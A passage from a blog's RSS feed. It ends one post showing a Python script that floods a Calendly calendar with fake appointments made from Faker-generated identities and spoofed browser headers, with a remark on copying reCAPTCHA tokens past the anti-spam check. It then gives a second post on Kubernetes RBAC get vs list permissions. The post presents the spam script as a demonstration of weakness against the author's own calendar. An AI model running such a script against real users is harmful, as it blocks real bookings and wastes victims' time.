</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;status&#34;</span><span class="p">]</span> <span class="o">==</span> <span class="s2">&#34;available&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># get open spots for each available date</span>
</span></span><span class="line"><span class="cl">            <span class="n">open_spots</span> <span class="o">=</span> <span class="n">booking_date</span><span class="p">[</span><span class="s2">&#34;spots&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">open_spot</span> <span class="ow">in</span> <span class="n">open_spots</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="c1"># we need the starting time for each open spot</span>
</span></span><span class="line"><span class="cl">                <span class="n">start_time</span> <span class="o">=</span> <span class="n">open_spot</span><span class="p">[</span><span class="s2">&#34;start_time&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># we use data we&#39;ve gathered to generate a payload</span>
</span></span><span class="line"><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;start_time&#34;</span><span class="p">:</span> <span class="n">start_time</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;location_configuration&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;location&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;phone_number&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="s2">&#34;additional_info&#34;</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;event_type_uuid&#34;</span><span class="p">:</span> <span class="n">uuid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;invitee&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;full_name&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;name&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;email&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;mail&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;timezone&#34;</span><span class="p">:</span> <span class="n">time_zone</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="s2">&#34;time_notation&#34;</span><span class="p">:</span> <span class="s2">&#34;12h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">chrome</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json, text/plain, */*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="n">starting_url</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;X-Requested-With&#34;</span><span class="p">:</span> <span class="s2">&#34;XMLHttpRequest&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/json&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;3924&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://calendly.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="s2">&#34;TE&#34;</span><span class="p">:</span> <span class="s2">&#34;trailers&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1"># finally, send a POST request with our payload to schedule an appointment</span>
</span></span><span class="line"><span class="cl">                <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">scheduling_url</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="n">response</span><span class="o">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="c1"># for debugging</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Payload sent: </span><span class="si">{</span><span class="n">payload</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Successful request.&#34;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>I ran the script for a bit to create appointments. Soon after I started getting emails about appointments being made:</p>
<img src="/calendly-spam/mailbox.webp" alt="Gmail inbox showing an influx of Calendly appointments" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>And for further confirmation I also refreshed my Calendly calendar and saw that there were a couple days that are no longer available (May 16 and May 17):</p>
<img src="/calendly-spam/dates-available-aftermath.webp" alt="Remaining dates available for scheduling" width="720" height="422" style="max-width: 100%; height: auto; aspect-ratio: 2706 / 1588;" loading="lazy" decoding="async">
<p>This was much easier than expected. I didn&rsquo;t even let my script run indefinitely.</p>
<h2 id="there-are-some-security-measures">There are Some Security Measures</h2>
<p>After (presumably) sending too many requests I started getting a <code>400</code> status code in the response along with a message:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="err">&#39;message&#39;:</span> <span class="err">&#39;recaptcha_challenge_required&#39;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>It looks like there are <em>some</em> anti-spam measures in place.</p>
<p>Looking back at the original payload when making a <code>POST</code> request I see that there&rsquo;s a <code>recaptcha_token</code> in the JSON payload. I believe this is only created in the browser when it&rsquo;s evident that a real person is using Calendly. I don&rsquo;t know if there&rsquo;s a way to automate this in a script.</p>
<p>Either way, someone could manually schedule an appointment, check the browser dev tools to retrieve the token, copy and paste the token into a script, and spam someone&rsquo;s calendar. I didn&rsquo;t bother trying myself though because I&rsquo;ve already determined that Calendly is trivial to abuse even without the <code>recaptcha_token</code>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Calendly is susceptible to spam.</p>
<p>I can think of a few scenarios where this could do some damage:</p>
<ul>
<li>If you&rsquo;re a salesperson, something like this would fill up your calendar and prevent potential customers from booking time with you.</li>
<li>If you provide support to customers via Calendly, your calendar would also fill up, preventing actual customers from seeking support.</li>
<li>If you get spammed, you may take the time to delete appointments and you might accidentally delete some legitimate appointments with real people.</li>
</ul>
<p>There&rsquo;s probably a lot more scenarios.</p>
<h2 id="further-reading">Further Reading</h2>
<p>After writing this post I noticed someone else already had the same idea. I hesitated to link this because it&rsquo;s essentially an advertisement for this company&rsquo;s product but the article is still somewhat interesting (I have no association with this company). I also think their title is better than mine:</p>
<ul>
<li>

<a href="https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly" target="_blank" rel="noopener">https://www.ipm-corporation.com/research/distributed-denial-of-scheduling-on-calendly</a></li>
</ul>
<p>I also noticed that there are Calendly API docs. These would have come in handy earlier but I only found out after I was done. That&rsquo;s fine though, the process of figuring it all out by inspecting browser requests was fun:</p>
<ul>
<li>

<a href="https://developer.calendly.com/api-docs/" target="_blank" rel="noopener">https://developer.calendly.com/api-docs/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Kubernetes RBAC: Get vs List</title>
      <link>https://nelson.cloud/kubernetes-rbac-get-vs-list/?ref=rss</link>
      <pubDate>Sat, 23 Mar 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/kubernetes-rbac-get-vs-list/?ref=rss</guid>
      <description>The differences of get vs list RBAC verbs in Kubernetes</description><content:encoded><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>Having <code>get</code> permissions to a Kubernetes object does not imply you have <code>list</code> permissions and vice versa.</p>
<p>This was not immediately obvious to me.</p>
<p>I figured that if you can list all objects of a certain kind (like secrets) you can also get individual objects and vice versa, but that&rsquo;s not the case.</p>
<p>Here&rsquo;s how it works using Kubernetes Secrets as an example object:</p>
<ul>
<li>
<p>If you only have <code>get</code> permissions, you will have to know the exact name of the secret you are trying to read beforehand. You can run a command like <code>kubectl get secret &lt;secret-name&gt;</code> successfully, but running <code>kubectl get secrets</code> will not work.</p>
</li>
<li>
<p>If you only have <code>list</code> permissions for secrets, you can run <code>kubectl get secrets</code> and see a list of secrets. But running <code>kubectl get secret &lt;secret-name&gt;</code> will not work.</p>
</li>
</ul>
<h2 id="example-with-minikube">Example with Minikube</h2>
<p>I&rsquo;ll be demonstrating the conclusion from above using 

<a href="https://minikube.sigs.k8s.io/docs/" target="_blank" rel="noopener">Minikube</a>. I&rsquo;ll be creating the following in K8s: a Secret, two Roles, two Service Accounts, and two RoleBindings to assign <code>get</code> and <code>list</code> RBAC permissions to each service account for testing.</p>
<p>Here is a very long manifest that creates the following objects:</p>
<ul>
<li>A namespace called <code>example</code></li>
<li>A 

<a href="https://kubernetes.io/docs/concepts/configuration/secret/#basic-authentication-secret" target="_blank" rel="noopener">basic authentication secret</a> called <code>credentials</code> in the <code>example</code> namespace</li>
<li>Two service accounts. One called <code>service-account-1</code> and another called <code>service-account-2</code></li>
<li>Two Roles:
<ul>
<li>A role named <code>get-secret</code> that allows users associated with this role to get a secret.</li>
<li>A role named <code>list-secrets</code> that allows users to list secrets.</li>
</ul>
</li>
<li>Two RoleBindings:
<ul>
<li>A RoleBinding named <code>get-secrets-binding</code> that will associate the service account <code>service-account-1</code> with the <code>get-secrets</code> role.</li>
<li>A RoleBinding named <code>list-secrets-binding</code> that will associate the service account <code>service-account-2</code> with the <code>list-secrets</code> role.</li>
</ul>
</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Namespace</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">labels</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Secret</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">credentials</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">type</span><span class="p">:</span><span class="w"> </span><span class="l">kubernetes.io/basic-auth</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">stringData</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">username</span><span class="p">:</span><span class="w"> </span><span class="l">admin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">password</span><span class="p">:</span><span class="w"> </span><span class="l">securepassword</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">rules</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">apiGroups</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">resources</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;secrets&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">verbs</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;get&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">rules</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">apiGroups</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">resources</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;secrets&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">verbs</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;list&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">RoleBinding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets-binding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">subjects</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">roleRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">get-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiGroup</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nn">---</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io/v1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">RoleBinding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">metadata</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets-binding</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">subjects</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span>- <span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">ServiceAccount</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">service-account-2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l">example</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="nt">roleRef</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l">Role</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">list-secrets</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">apiGroup</span><span class="p">:</span><span class="w"> </span><span class="l">rbac.authorization.k8s.io</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>This manifest can be saved to a YAML file and applied like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl apply -f manifest.yaml
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">namespace/example created
</span></span><span class="line"><span class="cl">secret/credentials created
</span></span><span class="line"><span class="cl">serviceaccount/service-account-1 created
</span></span><span class="line"><span class="cl">serviceaccount/service-account-2 created
</span></span><span class="line"><span class="cl">role.rbac.authorization.k8s.io/get-secrets created
</span></span><span class="line"><span class="cl">role.rbac.authorization.k8s.io/list-secrets created
</span></span><span class="line"><span class="cl">rolebinding.rbac.authorization.k8s.io/get-secrets-binding created
</span></span><span class="line"><span class="cl">rolebinding.rbac.authorization.k8s.io/list-secrets-binding created
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="testing-it-all-out">Testing It All Out</h2>
<p>Now we can test the <code>get</code> and <code>list</code> RBAC verbs with our service accounts.</p>
<p>To summarize:</p>
<ul>
<li>The service account <code>service-account-1</code> has <code>get</code> permissions for secrets in the <code>example</code> namespace. This service account should not be able to list secrets but should be able to get an individual secret in the <code>example</code> namespace.</li>
<li>The service account <code>service-account-2</code> has <code>list</code> permissions for secrets in the <code>example</code> namespace. This service account should not be able to get an individual secret but should be able to list all secrets in the <code>example</code> namespace.</li>
</ul>
<p>We can use the following command formula to test the permissions set to both service accounts:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">kubectl auth can-i &lt;verb&gt; &lt;resource&gt; --as<span class="o">=</span>system:serviceaccount:&lt;namespace&gt;:&lt;serviceaccountname&gt; -n &lt;namespace&gt;
</span></span></code></pre></td></tr></table>
</blockquote><p>First let&rsquo;s try getting a secret under both service accounts. We expect <code>service-account-1</code> to be able to <code>get</code> a secret, but not <code>service-account-2</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
